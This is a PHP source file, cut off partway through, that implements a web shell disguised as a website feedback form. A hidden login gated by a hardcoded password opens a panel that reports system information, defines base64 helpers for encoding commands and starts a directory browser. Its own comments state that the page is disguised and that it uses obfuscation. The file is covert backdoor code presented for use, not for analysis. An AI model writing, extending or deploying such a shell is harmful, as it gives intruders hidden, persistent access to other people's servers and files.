<?php
// Start session
session_start();

// Handle logout request
if (isset($_GET['logout'])) {
    unset($_SESSION['authenticated']);
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}

// Check if authenticated
if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
    // Handle login request
    if (isset($_POST['password']) && $_POST['password'] === 'secretpassword') {
        $_SESSION['authenticated'] = true;
        header("Location: " . $_SERVER['PHP_SELF']);
        exit;
    } else {
        // Display disguised feedback form page
        echo "<h2>Website Feedback Form</h2>";
        echo "<p>Please fill out the form below to send us your feedback.</p>";
        echo "<form method='POST' action=''>";
        echo "<input type='text' name='username' placeholder='Your Name' /><br>";
        echo "<input type='email' name='email' placeholder='Your Email' /><br>";
        echo "<textarea name='feedback' placeholder='Your Feedback'></textarea><br>";
        echo "<input type='submit' value='Submit' />";
        echo "</form>";
        echo "<p><a href='#' onclick='showLoginForm()'>Contact Support</a></p>";
        echo "<div id='login-form' style='display: none;'>";
        echo "<form method='POST' action=''>";
        echo "<input type='password' name='password' placeholder='Password' />";
        echo "<input type='submit' value='Login' />";
        echo "</form>";
        echo "</div>";
        echo "<script>";
        echo "function showLoginForm() {";
        echo "document.getElementById('login-form').style.display = 'block';";
        echo "}";
        echo "</script>";
        if (isset($_POST['password'])) {
            echo "<p style='color: red;'>Invalid password.</p>";
        }
        exit;
    }
}

// File management functionality (accessible only after authentication)

// Display random string for obfuscation
function randomFunction() {
    $randomString = bin2hex(random_bytes(96));
    return $randomString;
}

$randomString = randomFunction();
echo "<p style='color: green;'>Random String: $randomString</p>";

// Display system information
function systemCheck() {
    $info = php_uname();
    $phpVersion = phpversion();
    echo "<p style='color: green;'>System Info: $info | PHP Version: $phpVersion</p>";
}

systemCheck();

$special_chars = "%00%0A%09//#";

// Command encoding and decoding functions
function encodeCommand($command) {
    return base64_encode($command);
}

function decodeCommand($encoded) {
    return base64_decode($encoded);
}

// Display directory listing
function displayDirectory($path) {
    global $special_chars;
    $items = array_diff(scandir($path), ['.', '..']);
    echo "<h3 style='color: green;'>Current Directory: $path</h3><ul>";
    foreach ($items as $item) {
        $itemPath = realpath($path . DIRECTORY_SEPARATOR . $item);
   